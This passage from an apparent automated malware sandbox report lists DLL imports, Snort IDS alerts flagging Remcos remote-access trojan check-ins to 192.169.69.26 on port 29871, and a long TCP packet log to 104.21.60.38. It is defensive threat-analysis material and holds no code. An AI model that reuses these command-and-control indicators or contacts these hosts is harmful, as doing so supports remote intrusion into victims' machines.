ADVAPI32.dll	RegDeleteKeyA, SetFileSecurityA, OpenProcessToken, LookupPrivilegeValueA, AdjustTokenPrivileges, RegOpenKeyExA, RegEnumValueA, RegDeleteValueA, RegCloseKey, RegCreateKeyExA, RegSetValueExA, RegQueryValueExA, RegEnumKeyA
COMCTL32.dll	ImageList_AddMasked, ImageList_Destroy, ImageList_Create
ole32.dll	OleUninitialize, OleInitialize, CoTaskMemFree, CoCreateInstance

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
05/01/24-18:23:23.262842	TCP	2032776	ET TROJAN Remcos 3.x Unencrypted Checkin	49209	29871	192.168.2.22	192.169.69.26
05/01/24-18:20:57.936276	TCP	2032776	ET TROJAN Remcos 3.x Unencrypted Checkin	49168	29871	192.168.2.22	192.169.69.26
05/01/24-18:21:21.331517	TCP	2032776	ET TROJAN Remcos 3.x Unencrypted Checkin	49178	29871	192.168.2.22	192.169.69.26
05/01/24-18:23:13.842964	TCP	2032776	ET TROJAN Remcos 3.x Unencrypted Checkin	49208	29871	192.168.2.22	192.169.69.26
05/01/24-18:21:43.786919	TCP	2032776	ET TROJAN Remcos 3.x Unencrypted Checkin	49194	29871	192.168.2.22	192.169.69.26
05/01/24-18:20:44.045773	TCP	2032776	ET TROJAN Remcos 3.x Unencrypted Checkin	49162	29871	192.168.2.22	192.169.69.26
05/01/24-18:22:00.766012	TCP	2032776	ET TROJAN Remcos 3.x Unencrypted Checkin	49201	29871	192.168.2.22	192.169.69.26
05/01/24-18:21:07.237994	TCP	2032776	ET TROJAN Remcos 3.x Unencrypted Checkin	49172	29871	192.168.2.22	192.169.69.26
05/01/24-18:21:27.525704	TCP	2032776	ET TROJAN Remcos 3.x Unencrypted Checkin	49182	29871	192.168.2.22	192.169.69.26
05/01/24-18:21:30.630074	TCP	2032776	ET TROJAN Remcos 3.x Unencrypted Checkin	49184	29871	192.168.2.22	192.169.69.26
05/01/24-18:20:47.790429	TCP	2032776	ET TROJAN Remcos 3.x Unencrypted Checkin	49164	29871	192.168.2.22	192.169.69.26
05/01/24-18:21:41.022094	TCP	2032776	ET TROJAN Remcos 3.x Unencrypted Checkin	49192	29871	192.168.2.22	192.169.69.26
05/01/24-18:22:17.546146	TCP	2032776	ET TROJAN Remcos 3.x Unencrypted Checkin	49203	29871	192.168.2.22	192.169.69.26
05/01/24-18:21:02.210994	TCP	2032776	ET TROJAN Remcos 3.x Unencrypted Checkin	49170	29871	192.168.2.22	192.169.69.26
05/01/24-18:21:13.917858	TCP	2032776	ET TROJAN Remcos 3.x Unencrypted Checkin	49174	29871	192.168.2.22	192.169.69.26
05/01/24-18:21:52.776472	TCP	2032776	ET TROJAN Remcos 3.x Unencrypted Checkin	49200	29871	192.168.2.22	192.169.69.26
05/01/24-18:21:46.503399	TCP	2032776	ET TROJAN Remcos 3.x Unencrypted Checkin	49196	29871	192.168.2.22	192.169.69.26
05/01/24-18:20:51.253286	TCP	2032776	ET TROJAN Remcos 3.x Unencrypted Checkin	49166	29871	192.168.2.22	192.169.69.26
05/01/24-18:21:38.544111	TCP	2032776	ET TROJAN Remcos 3.x Unencrypted Checkin	49190	29871	192.168.2.22	192.169.69.26
05/01/24-18:21:16.542075	TCP	2032776	ET TROJAN Remcos 3.x Unencrypted Checkin	49176	29871	192.168.2.22	192.169.69.26
05/01/24-18:21:23.863096	TCP	2032776	ET TROJAN Remcos 3.x Unencrypted Checkin	49180	29871	192.168.2.22	192.169.69.26
05/01/24-18:21:32.998808	TCP	2032776	ET TROJAN Remcos 3.x Unencrypted Checkin	49186	29871	192.168.2.22	192.169.69.26
05/01/24-18:21:35.642740	TCP	2032776	ET TROJAN Remcos 3.x Unencrypted Checkin	49188	29871	192.168.2.22	192.169.69.26
05/01/24-18:21:49.211552	TCP	2032776	ET TROJAN Remcos 3.x Unencrypted Checkin	49198	29871	192.168.2.22	192.169.69.26

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
May 1, 2024 18:20:41.370148897 CEST	49161	443	192.168.2.22	104.21.60.38
May 1, 2024 18:20:41.370199919 CEST	443	49161	104.21.60.38	192.168.2.22
May 1, 2024 18:20:41.370646954 CEST	49161	443	192.168.2.22	104.21.60.38
May 1, 2024 18:20:41.388284922 CEST	49161	443	192.168.2.22	104.21.60.38
May 1, 2024 18:20:41.388322115 CEST	443	49161	104.21.60.38	192.168.2.22
May 1, 2024 18:20:41.600080013 CEST	443	49161	104.21.60.38	192.168.2.22
May 1, 2024 18:20:41.600234985 CEST	49161	443	192.168.2.22	104.21.60.38
May 1, 2024 18:20:41.615046978 CEST	49161	443	192.168.2.22	104.21.60.38
May 1, 2024 18:20:41.615078926 CEST	443	49161	104.21.60.38	192.168.2.22
May 1, 2024 18:20:41.615464926 CEST	443	49161	104.21.60.38	192.168.2.22
May 1, 2024 18:20:41.615525961 CEST	49161	443	192.168.2.22	104.21.60.38
May 1, 2024 18:20:41.795850039 CEST	49161	443	192.168.2.22	104.21.60.38
May 1, 2024 18:20:41.836118937 CEST	443	49161	104.21.60.38	192.168.2.22
May 1, 2024 18:20:41.911278963 CEST	443	49161	104.21.60.38	192.168.2.22
May 1, 2024 18:20:41.911338091 CEST	49161	443	192.168.2.22	104.21.60.38
May 1, 2024 18:20:41.911341906 CEST	443	49161	104.21.60.38	192.168.2.22
May 1, 2024 18:20:41.911362886 CEST	443	49161	104.21.60.38	192.168.2.22
May 1, 2024 18:20:41.911376953 CEST	49161	443	192.168.2.22	104.21.60.38
May 1, 2024 18:20:41.911395073 CEST	49161	443	192.168.2.22	104.21.60.38
May 1, 2024 18:20:41.911402941 CEST	443	49161	104.21.60.38	192.168.2.22
May 1, 2024 18:20:41.911434889 CEST	443	49161	104.21.60.38	192.168.2.22
May 1, 2024 18:20:41.911436081 CEST	49161	443	192.168.2.22	104.21.60.38
May 1, 2024 18:20:41.911446095 CEST	443	49161	104.21.60.38	192.168.2.22
May 1, 2024 18:20:41.911480904 CEST	49161	443	192.168.2.22	104.21.60.38
May 1, 2024 18:20:41.911489964 CEST	443	49161	104.21.60.38	192.168.2.22
May 1, 2024 18:20:41.911525011 CEST	49161	443	192.168.2.22	104.21.60.38
May 1, 2024 18:20:41.911624908 CEST	443	49161	104.21.60.38	192.168.2.22
May 1, 2024 18:20:41.911660910 CEST	49161	443	192.168.2.22	104.21.60.38
May 1, 2024 18:20:41.911665916 CEST	443	49161	104.21.60.38	192.168.2.22
May 1, 2024 18:20:41.911710978 CEST	49161	443	192.168.2.22	104.21.60.38
May 1, 2024 18:20:41.911715031 CEST	443	49161	104.21.60.38	192.168.2.22
May 1, 2024 18:20:41.911750078 CEST	49161	443	192.168.2.22	104.21.60.38
May 1, 2024 18:20:41.911753893 CEST	443	49161	104.21.60.38	192.168.2.22
May 1, 2024 18:20:41.911791086 CEST	49161	443	192.168.2.22	104.21.60.38
May 1, 2024 18:20:41.912146091 CEST	443	49161	104.21.60.38	192.168.2.22
May 1, 2024 18:20:41.912179947 CEST	49161	443	192.168.2.22	104.21.60.38
May 1, 2024 18:20:41.912195921 CEST	443	49161	104.21.60.38	192.168.2.22
May 1, 2024 18:20:41.912234068 CEST	49161	443	192.168.2.22	104.21.60.38
May 1, 2024 18:20:41.912241936 CEST	443	49161	104.21.60.38	192.168.2.22
May 1, 2024 18:20:41.912282944 CEST	49161	443	192.168.2.22	104.21.60.38
May 1, 2024 18:20:41.912286997 CEST	443	49161	104.21.60.38	192.168.2.22
May 1, 2024 18:20:41.912327051 CEST	49161	443	192.168.2.22	104.21.60.38
May 1, 2024 18:20:41.912333012 CEST	443	49161	104.21.60.38	192.168.2.22
May 1, 2024 18:20:41.912367105 CEST	49161	443	192.168.2.22	104.21.60.38
May 1, 2024 18:20:41.912944078 CEST	443	49161	104.21.60.38	192.168.2.22
May 1, 2024 18:20:41.912992001 CEST	49161	443	192.168.2.22	104.21.60.38
May 1, 2024 18:20:41.912996054 CEST	443	49161	104.21.60.38	192.168.2.22
May 1, 2024 18:20:41.913034916 CEST	49161	443	192.168.2.22	104.21.60.38
May 1, 2024 18:20:41.913038015 CEST	443	49161	104.21.60.38	192.168.2.22
May 1, 2024 18:20:41.913069963 CEST	49161	443	192.168.2.22	104.21.60.38
May 1, 2024 18:20:41.913086891 CEST	443	49161	104.21.60.38	192.168.2.22
May 1, 2024 18:20:41.913131952 CEST	49161	443	192.168.2.22	104.21.60.38
May 1, 2024 18:20:41.913136005 CEST	443	49161	104.21.60.38	192.168.2.22
May 1, 2024 18:20:41.913171053 CEST	49161	443	192.168.2.22	104.21.60.38
May 1, 2024 18:20:41.913177013 CEST	443	49161	104.21.60.38	192.168.2.22
May 1, 2024 18:20:41.913213015 CEST	49161	443	192.168.2.22	104.21.60.38
May 1, 2024 18:20:41.913767099 CEST	443	49161	104.21.60.38	192.168.2.22
May 1, 2024 18:20:41.913808107 CEST	49161	443	192.168.2.22	104.21.60.38
May 1, 2024 18:20:41.913821936 CEST	443	49161	104.21.60.38	192.168.2.22
May 1, 2024 18:20:41.913850069 CEST	49161	443	192.168.2.22	104.21.60.38
May 1, 2024 18:20:41.913871050 CEST	443	49161	104.21.60.38	192.168.2.22
May 1, 2024 18:20:41.913908958 CEST	49161	443	192.168.2.22	104.21.60.38
May 1, 2024 18:20:41.913934946 CEST	443	49161	104.21.60.38	192.168.2.22
May 1, 2024 18:20:41.913971901 CEST	49161	443	192.168.2.22	104.21.60.38
May 1, 2024 18:20:41.913980961 CEST	443	49161	104.21.60.38	192.168.2.22
May 1, 2024 18:20:41.914019108 CEST	49161	443	192.168.2.22	104.21.60.38
May 1, 2024 18:20:41.914053917 CEST	443	49161	104.21.60.38	192.168.2.22
May 1, 2024 18:20:41.914088964 CEST	49161	443	192.168.2.22	104.21.60.38
May 1, 2024 18:20:41.914119959 CEST	49161	443	192.168.2.22	104.21.60.38
May 1, 2024 18:20:41.914747000 CEST	443	49161	104.21.60.38	192.168.2.22
May 1, 2024 18:20:41.914786100 CEST	49161	443	192.168.2.22	104.21.60.38
May 1, 2024 18:20:41.914791107 CEST	443	49161	104.21.60.38	192.168.2.22
May 1, 2024 18:20:41.914825916 CEST	49161	443	192.168.2.22	104.21.60.38
May 1, 2024 18:20:41.914830923 CEST	443	49161	104.21.60.38	192.168.2.22
May 1, 2024 18:20:41.914869070 CEST	49161	443	192.168.2.22	104.21.60.38
May 1, 2024 18:20:41.914881945 CEST	443	49161	104.21.60.38	192.168.2.22
May 1, 2024 18:20:41.914918900 CEST	49161	443	192.168.2.22	104.21.60.38
May 1, 2024 18:20:41.914928913 CEST	443	49161	104.21.60.38	192.168.2.22
May 1, 2024 18:20:41.914948940 CEST	49161	443	192.168.2.22	104.21.60.38
May 1, 2024 18:20:41.914963961 CEST	49161	443	192.168.2.22	104.21.60.38
May 1, 2024 18:20:41.914978027 CEST	443	49161	104.21.60.38	192.168.2.22
May 1, 2024 18:20:41.915013075 CEST	49161	443	192.168.2.22	104.21.60.38
May 1, 2024 18:20:41.915016890 CEST	443	49161	104.21.60.38	192.168.2.22
May 1, 2024 18:20:41.915050030 CEST	49161	443	192.168.2.22	104.21.60.38
May 1, 2024 18:20:41.915678024 CEST	443	49161	104.21.60.38	192.168.2.22
May 1, 2024 18:20:41.915730953 CEST	49161	443	192.168.2.22	104.21.60.38
May 1, 2024 18:20:41.915767908 CEST	443	49161	104.21.60.38	192.168.2.22
May 1, 2024 18:20:41.915805101 CEST	49161	443	192.168.2.22	104.21.60.38
May 1, 2024 18:20:41.915812969 CEST	443	49161	104.21.60.38	192.168.2.22
May 1, 2024 18:20:41.915848017 CEST	49161	443	192.168.2.22	104.21.60.38
May 1, 2024 18:20:41.915870905 CEST	443	49161	104.21.60.38	192.168.2.22
May 1, 2024 18:20:41.915904999 CEST	49161	443	192.168.2.22	104.21.60.38
May 1, 2024 18:20:41.915925026 CEST	443	49161	104.21.60.38	192.168.2.22
May 1, 2024 18:20:41.915958881 CEST	49161	443	192.168.2.22	104.21.60.38
May 1, 2024 18:20:41.915973902 CEST	443	49161	104.21.60.38	192.168.2.22
May 1, 2024 18:20:41.916009903 CEST	49161	443	192.168.2.22	104.21.60.38
May 1, 2024 18:20:41.916640043 CEST	443	49161	104.21.60.38	192.168.2.22
May 1, 2024 18:20:41.916690111 CEST	49161	443	192.168.2.22	104.21.60.38
May 1, 2024 18:20:41.916703939 CEST	443	49161	104.21.60.38	192.168.2.22
May 1, 2024 18:20:41.916757107 CEST	49161	443	192.168.2.22	104.21.60.38
May 1, 2024 18:20:42.005793095 CEST	443	49161	104.21.60.38	192.168.2.22
May 1, 2024 18:20:42.005897045 CEST	49161	443	192.168.2.22	104.21.60.38
May 1, 2024 18:20:42.005928040 CEST	443	49161	104.21.60.38	192.168.2.22
May 1, 2024 18:20:42.005975008 CEST	49161	443	192.168.2.22	104.21.60.38
May 1, 2024 18:20:42.006254911 CEST	443	49161	104.21.60.38	192.168.2.22
May 1, 2024 18:20:42.006308079 CEST	49161	443	192.168.2.22	104.21.60.38
May 1, 2024 18:20:42.006323099 CEST	443	49161	104.21.60.38	192.168.2.22
May 1, 2024 18:20:42.006376028 CEST	443	49161	104.21.60.38	192.168.2.22
May 1, 2024 18:20:42.006377935 CEST	49161	443	192.168.2.22	104.21.60.38
May 1, 2024 18:20:42.006392956 CEST	443	49161	104.21.60.38	192.168.2.22
May 1, 2024 18:20:42.006422043 CEST	49161	443	192.168.2.22	104.21.60.38
May 1, 2024 18:20:42.006441116 CEST	49161	443	192.168.2.22	104.21.60.38
May 1, 2024 18:20:42.006880999 CEST	49161	443	192.168.2.22	104.21.60.38
May 1, 2024 18:20:42.007236958 CEST	443	49161	104.21.60.38	192.168.2.22
May 1, 2024 18:20:42.007285118 CEST	49161	443	192.168.2.22	104.21.60.38
May 1, 2024 18:20:42.007325888 CEST	49161	443	192.168.2.22	104.21.60.38
May 1, 2024 18:20:42.007338047 CEST	443	49161	104.21.60.38	192.168.2.22
May 1, 2024 18:20:42.007380009 CEST	49161	443	192.168.2.22	104.21.60.38
May 1, 2024 18:20:42.008136034 CEST	443	49161	104.21.60.38	192.168.2.22
May 1, 2024 18:20:42.008188963 CEST	443	49161	104.21.60.38	192.168.2.22
May 1, 2024 18:20:42.008317947 CEST	49161	443	192.168.2.22	104.21.60.38
May 1, 2024 18:20:42.008325100 CEST	443	49161	104.21.60.38	192.168.2.22
May 1, 2024 18:20:42.008371115 CEST	49161	443	192.168.2.22	104.21.60.38
May 1, 2024 18:20:42.008972883 CEST	443	49161	104.21.60.38	192.168.2.22
May 1, 2024 18:20:42.009032011 CEST	49161	443	192.168.2.22	104.21.60.38
May 1, 2024 18:20:42.009849072 CEST	443	49161	104.21.60.38	192.168.2.22
May 1, 2024 18:20:42.009907961 CEST	49161	443	192.168.2.22	104.21.60.38
May 1, 2024 18:20:42.009996891 CEST	443	49161	104.21.60.38	192.168.2.22
May 1, 2024 18:20:42.010045052 CEST	49161	443	192.168.2.22	104.21.60.38
May 1, 2024 18:20:42.010737896 CEST	443	49161	104.21.60.38	192.168.2.22
May 1, 2024 18:20:42.010793924 CEST	49161	443	192.168.2.22	104.21.60.38
May 1, 2024 18:20:42.010833025 CEST	443	49161	104.21.60.38	192.168.2.22
May 1, 2024 18:20:42.010879040 CEST	49161	443	192.168.2.22	104.21.60.38
May 1, 2024 18:20:42.011362076 CEST	443	49161	104.21.60.38	192.168.2.22
May 1, 2024 18:20:42.011415958 CEST	49161	443	192.168.2.22	104.21.60.38
May 1, 2024 18:20:42.011420965 CEST	443	49161	104.21.60.38	192.168.2.22
May 1, 2024 18:20:42.011465073 CEST	49161	443	192.168.2.22	104.21.60.38
May 1, 2024 18:20:42.011468887 CEST	443	49161	104.21.60.38	192.168.2.22
May 1, 2024 18:20:42.011519909 CEST	49161	443	192.168.2.22	104.21.60.38
May 1, 2024 18:20:42.011708021 CEST	49161	443	192.168.2.22	104.21.60.38
May 1, 2024 18:20:42.012316942 CEST	443	49161	104.21.60.38	192.168.2.22
May 1, 2024 18:20:42.012376070 CEST	49161	443	192.168.2.22	104.21.60.38
May 1, 2024 18:20:42.100059986 CEST	443	49161	104.21.60.38	192.168.2.22
May 1, 2024 18:20:42.100152969 CEST	49161	443	192.168.2.22	104.21.60.38
May 1, 2024 18:20:42.100157976 CEST	443	49161	104.21.60.38	192.168.2.22
May 1, 2024 18:20:42.100168943 CEST	443	49161	104.21.60.38	192.168.2.22
May 1, 2024 18:20:42.100197077 CEST	49161	443	192.168.2.22	104.21.60.38
May 1, 2024 18:20:42.100210905 CEST	49161	443	192.168.2.22	104.21.60.38
May 1, 2024 18:20:42.100886106 CEST	443	49161	104.21.60.38	192.168.2.22
May 1, 2024 18:20:42.100930929 CEST	49161	443	192.168.2.22	104.21.60.38
May 1, 2024 18:20:42.100939989 CEST	443	49161	104.21.60.38	192.168.2.22
May 1, 2024 18:20:42.100982904 CEST	49161	443	192.168.2.22	104.21.60.38
May 1, 2024 18:20:42.101758003 CEST	443	49161	104.21.60.38	192.168.2.22
May 1, 2024 18:20:42.101808071 CEST	49161	443	192.168.2.22	104.21.60.38
May 1, 2024 18:20:42.101828098 CEST	443	49161	104.21.60.38	192.168.2.22
May 1, 2024 18:20:42.101867914 CEST	49161	443	192.168.2.22	104.21.60.38
May 1, 2024 18:20:42.102668047 CEST	443	49161	104.21.60.38	192.168.2.22
May 1, 2024 18:20:42.102720022 CEST	49161	443	192.168.2.22	104.21.60.38
May 1, 2024 18:20:42.102721930 CEST	443	49161	104.21.60.38	192.168.2.22
May 1, 2024 18:20:42.102730036 CEST	443	49161	104.21.60.38	192.168.2.22
May 1, 2024 18:20:42.102761984 CEST	49161	443	192.168.2.22	104.21.60.38
May 1, 2024 18:20:42.103321075 CEST	443	49161	104.21.60.38	192.168.2.22
May 1, 2024 18:20:42.103372097 CEST	443	49161	104.21.60.38	192.168.2.22
May 1, 2024 18:20:42.103380919 CEST	49161	443	192.168.2.22	104.21.60.38
May 1, 2024 18:20:42.103389025 CEST	443	49161	104.21.60.38	192.168.2.22
May 1, 2024 18:20:42.103410959 CEST	49161	443	192.168.2.22	104.21.60.38
May 1, 2024 18:20:42.103425026 CEST	49161	443	192.168.2.22	104.21.60.38
May 1, 2024 18:20:42.104221106 CEST	443	49161	104.21.60.38	192.168.2.22
May 1, 2024 18:20:42.104269028 CEST	49161	443	192.168.2.22	104.21.60.38
May 1, 2024 18:20:42.104311943 CEST	443	49161	104.21.60.38	192.168.2.22
May 1, 2024 18:20:42.104366064 CEST	49161	443	192.168.2.22	104.21.60.38
May 1, 2024 18:20:42.105135918 CEST	443	49161	104.21.60.38	192.168.2.22
May 1, 2024 18:20:42.105185986 CEST	49161	443	192.168.2.22	104.21.60.38
May 1, 2024 18:20:42.105190992 CEST	443	49161	104.21.60.38	192.168.2.22
May 1, 2024 18:20:42.105228901 CEST	49161	443	192.168.2.22	104.21.60.38
May 1, 2024 18:20:42.106102943 CEST	443	49161	104.21.60.38	192.168.2.22
May 1, 2024 18:20:42.106152058 CEST	49161	443	192.168.2.22	104.21.60.38
May 1, 2024 18:20:42.106153965 CEST	443	49161	104.21.60.38	192.168.2.22
May 1, 2024 18:20:42.106162071 CEST	443	49161	104.21.60.38	192.168.2.22
May 1, 2024 18:20:42.106194019 CEST	49161	443	192.168.2.22	104.21.60.38
May 1, 2024 18:20:42.106901884 CEST	443	49161	104.21.60.38	192.168.2.22
May 1, 2024 18:20:42.106951952 CEST	443	49161	104.21.60.38	192.168.2.22
May 1, 2024 18:20:42.106957912 CEST	49161	443	192.168.2.22	104.21.60.38
May 1, 2024 18:20:42.106962919 CEST	443	49161	104.21.60.38	192.168.2.22
May 1, 2024 18:20:42.106991053 CEST	49161	443	192.168.2.22	104.21.60.38
May 1, 2024 18:20:42.107812881 CEST	443	49161	104.21.60.38	192.168.2.22
May 1, 2024 18:20:42.107867002 CEST	49161	443	192.168.2.22	104.21.60.38
May 1, 2024 18:20:42.107896090 CEST	443	49161	104.21.60.38	192.168.2.22
May 1, 2024 18:20:42.107937098 CEST	49161	443	192.168.2.22	104.21.60.38
May 1, 2024 18:20:42.108724117 CEST	443	49161	104.21.60.38	192.168.2.22
May 1, 2024 18:20:42.108772039 CEST	49161	443	192.168.2.22	104.21.60.38
May 1, 2024 18:20:42.109718084 CEST	443	49161	104.21.60.38	192.168.2.22
May 1, 2024 18:20:42.109725952 CEST	443	49161	104.21.60.38	192.168.2.22
May 1, 2024 18:20:42.109765053 CEST	443	49161	104.21.60.38	192.168.2.22
May 1, 2024 18:20:42.109774113 CEST	49161	443	192.168.2.22	104.21.60.38
May 1, 2024 18:20:42.109782934 CEST	443	49161	104.21.60.38	192.168.2.22
May 1, 2024 18:20:42.109813929 CEST	49161	443	192.168.2.22	104.21.60.38
May 1, 2024 18:20:42.111443996 CEST	443	49161	104.21.60.38	192.168.2.22
May 1, 2024 18:20:42.111490965 CEST	443	49161	104.21.60.38	192.168.2.22
May 1, 2024 18:20:42.111501932 CEST	49161	443	192.168.2.22	104.21.60.38
May 1, 2024 18:20:42.111511946 CEST	443	49161	104.21.60.38	192.168.2.22
May 1, 2024 18:20:42.111538887 CEST	49161	443	192.168.2.22	104.21.60.38
May 1, 2024 18:20:42.111571074 CEST	49161	443	192.168.2.22	104.21.60.38
May 1, 2024 18:20:42.111685038 CEST	49161	443	192.168.2.22	104.21.60.38
May 1, 2024 18:20:42.113315105 CEST	443	49161	104.21.60.38	192.168.2.22
May 1, 2024 18:20:42.113358974 CEST	443	49161	104.21.60.38	192.168.2.22
May 1, 2024 18:20:42.113390923 CEST	49161	443	192.168.2.22	104.21.60.38
May 1, 2024 18:20:42.113396883 CEST	443	49161	104.21.60.38	192.168.2.22
May 1, 2024 18:20:42.113415956 CEST	49161	443	192.168.2.22	104.21.60.38
May 1, 2024 18:20:42.113428116 CEST	49161	443	192.168.2.22	104.21.60.38
May 1, 2024 18:20:42.113564014 CEST	49161	443	192.168.2.22	104.21.60.38
May 1, 2024 18:20:42.115189075 CEST	443	49161	104.21.60.38	192.168.2.22
May 1, 2024 18:20:42.115230083 CEST	443	49161	104.21.60.38	192.168.2.22
May 1, 2024 18:20:42.115245104 CEST	49161	443	192.168.2.22	104.21.60.38
May 1, 2024 18:20:42.115250111 CEST	443	49161	104.21.60.38	192.168.2.22
May 1, 2024 18:20:42.115269899 CEST	49161	443	192.168.2.22	104.21.60.38
May 1, 2024 18:20:42.115283966 CEST	49161	443	192.168.2.22	104.21.60.38
May 1, 2024 18:20:42.115413904 CEST	49161	443	192.168.2.22	104.21.60.38
May 1, 2024 18:20:42.116188049 CEST	443	49161	104.21.60.38	192.168.2.22
May 1, 2024 18:20:42.116228104 CEST	443	49161	104.21.60.38	192.168.2.22
May 1, 2024 18:20:42.116235971 CEST	49161	443	192.168.2.22	104.21.60.38
May 1, 2024 18:20:42.116240978 CEST	443	49161	104.21.60.38	192.168.2.22
May 1, 2024 18:20:42.116276979 CEST	49161	443	192.168.2.22	104.21.60.38
May 1, 2024 18:20:42.116333008 CEST	49161	443	192.168.2.22	104.21.60.38
May 1, 2024 18:20:42.118359089 CEST	443	49161	104.21.60.38	192.168.2.22
May 1, 2024 18:20:42.118402958 CEST	443	49161	104.21.60.38	192.168.2.22
May 1, 2024 18:20:42.118419886 CEST	49161	443	192.168.2.22	104.21.60.38
May 1, 2024 18:20:42.118426085 CEST	443	49161	104.21.60.38	192.168.2.22
May 1, 2024 18:20:42.118439913 CEST	49161	443	192.168.2.22	104.21.60.38
May 1, 2024 18:20:42.118458033 CEST	49161	443	192.168.2.22	104.21.60.38
May 1, 2024 18:20:42.118597031 CEST	49161	443	192.168.2.22	104.21.60.38
May 1, 2024 18:20:42.120130062 CEST	443	49161	104.21.60.38	192.168.2.22
May 1, 2024 18:20:42.120170116 CEST	443	49161	104.21.60.38	192.168.2.22
May 1, 2024 18:20:42.120186090 CEST	49161	443	192.168.2.22	104.21.60.38
May 1, 2024 18:20:42.120192051 CEST	443	49161	104.21.60.38	192.168.2.22
May 1, 2024 18:20:42.120209932 CEST	49161	443	192.168.2.22	104.21.60.38
May 1, 2024 18:20:42.120224953 CEST	49161	443	192.168.2.22	104.21.60.38
May 1, 2024 18:20:42.120357037 CEST	49161	443	192.168.2.22	104.21.60.38
May 1, 2024 18:20:42.121881008 CEST	443	49161	104.21.60.38	192.168.2.22
May 1, 2024 18:20:42.121926069 CEST	443	49161	104.21.60.38	192.168.2.22
May 1, 2024 18:20:42.121944904 CEST	49161	443	192.168.2.22	104.21.60.38
May 1, 2024 18:20:42.121952057 CEST	443	49161	104.21.60.38	192.168.2.22
May 1, 2024 18:20:42.121969938 CEST	49161	443	192.168.2.22	104.21.60.38
May 1, 2024 18:20:42.121985912 CEST	49161	443	192.168.2.22	104.21.60.38
May 1, 2024 18:20:42.122121096 CEST	49161	443	192.168.2.22	104.21.60.38
May 1, 2024 18:20:42.194344997 CEST	443	49161	104.21.60.38	192.168.2.22
May 1, 2024 18:20:42.194396973 CEST	443	49161	104.21.60.38	192.168.2.22
May 1, 2024 18:20:42.194447994 CEST	49161	443	192.168.2.22	104.21.60.38
May 1, 2024 18:20:42.194458008 CEST	443	49161	104.21.60.38	192.168.2.22
May 1, 2024 18:20:42.194487095 CEST	49161	443	192.168.2.22	104.21.60.38
May 1, 2024 18:20:42.194487095 CEST	49161	443	192.168.2.22	104.21.60.38
May 1, 2024 18:20:42.194737911 CEST	443	49161	104.21.60.38	192.168.2.22
May 1, 2024 18:20:42.194783926 CEST	443	49161	104.21.60.38	192.168.2.22
May 1, 2024 18:20:42.194789886 CEST	49161	443	192.168.2.22	104.21.60.38
May 1, 2024 18:20:42.194793940 CEST	443	49161	104.21.60.38	192.168.2.22
May 1, 2024 18:20:42.194830894 CEST	49161	443	192.168.2.22	104.21.60.38
May 1, 2024 18:20:42.197026014 CEST	443	49161	104.21.60.38	192.168.2.22
May 1, 2024 18:20:42.197067976 CEST	443	49161	104.21.60.38	192.168.2.22
May 1, 2024 18:20:42.197092056 CEST	49161	443	192.168.2.22	104.21.60.38
May 1, 2024 18:20:42.197097063 CEST	443	49161	104.21.60.38	192.168.2.22
May 1, 2024 18:20:42.197143078 CEST	49161	443	192.168.2.22	104.21.60.38
May 1, 2024 18:20:42.198874950 CEST	443	49161	104.21.60.38	192.168.2.22
May 1, 2024 18:20:42.198906898 CEST	49161	443	192.168.2.22	104.21.60.38
May 1, 2024 18:20:42.198910952 CEST	443	49161	104.21.60.38	192.168.2.22
May 1, 2024 18:20:42.198930979 CEST	443	49161	104.21.60.38	192.168.2.22
May 1, 2024 18:20:42.198941946 CEST	49161	443	192.168.2.22	104.21.60.38
May 1, 2024 18:20:42.198959112 CEST	49161	443	192.168.2.22	104.21.60.38
May 1, 2024 18:20:42.198962927 CEST	443	49161	104.21.60.38	192.168.2.22
May 1, 2024 18:20:42.198987007 CEST	49161	443	192.168.2.22	104.21.60.38
May 1, 2024 18:20:42.199002981 CEST	49161	443	192.168.2.22	104.21.60.38
May 1, 2024 18:20:42.199848890 CEST	443	49161	104.21.60.38	192.168.2.22
May 1, 2024 18:20:42.199888945 CEST	443	49161	104.21.60.38	192.168.2.22
May 1, 2024 18:20:42.199913025 CEST	49161	443	192.168.2.22	104.21.60.38
May 1, 2024 18:20:42.199917078 CEST	443	49161	104.21.60.38	192.168.2.22
May 1, 2024 18:20:42.199939966 CEST	49161	443	192.168.2.22	104.21.60.38
May 1, 2024 18:20:42.199954987 CEST	49161	443	192.168.2.22	104.21.60.38
May 1, 2024 18:20:42.201766014 CEST	443	49161	104.21.60.38	192.168.2.22
May 1, 2024 18:20:42.201808929 CEST	443	49161	104.21.60.38	192.168.2.22
May 1, 2024 18:20:42.201836109 CEST	49161	443	192.168.2.22	104.21.60.38
May 1, 2024 18:20:42.201841116 CEST	443	49161	104.21.60.38	192.168.2.22
May 1, 2024 18:20:42.201855898 CEST	49161	443	192.168.2.22	104.21.60.38
May 1, 2024 18:20:42.201889992 CEST	49161	443	192.168.2.22	104.21.60.38
May 1, 2024 18:20:42.203823090 CEST	443	49161	104.21.60.38	192.168.2.22
May 1, 2024 18:20:42.203870058 CEST	443	49161	104.21.60.38	192.168.2.22
May 1, 2024 18:20:42.203902006 CEST	49161	443	192.168.2.22	104.21.60.38
May 1, 2024 18:20:42.203905106 CEST	443	49161	104.21.60.38	192.168.2.22
May 1, 2024 18:20:42.203934908 CEST	49161	443	192.168.2.22	104.21.60.38
May 1, 2024 18:20:42.203944921 CEST	49161	443	192.168.2.22	104.21.60.38
May 1, 2024 18:20:42.205698013 CEST	443	49161	104.21.60.38	192.168.2.22
May 1, 2024 18:20:42.205743074 CEST	443	49161	104.21.60.38	192.168.2.22
May 1, 2024 18:20:42.205775023 CEST	49161	443	192.168.2.22	104.21.60.38
May 1, 2024 18:20:42.205779076 CEST	443	49161	104.21.60.38	192.168.2.22
May 1, 2024 18:20:42.205796957 CEST	49161	443	192.168.2.22	104.21.60.38
May 1, 2024 18:20:42.205816031 CEST	49161	443	192.168.2.22	104.21.60.38
May 1, 2024 18:20:42.207628012 CEST	443	49161	104.21.60.38	192.168.2.22
May 1, 2024 18:20:42.207699060 CEST	49161	443	192.168.2.22	104.21.60.38
May 1, 2024 18:20:42.209172010 CEST	49161	443	192.168.2.22	104.21.60.38
May 1, 2024 18:20:42.209177017 CEST	443	49161	104.21.60.38	192.168.2.22
May 1, 2024 18:20:42.209275007 CEST	49161	443	192.168.2.22	104.21.60.38
May 1, 2024 18:20:42.211565971 CEST	49161	443	192.168.2.22	104.21.60.38
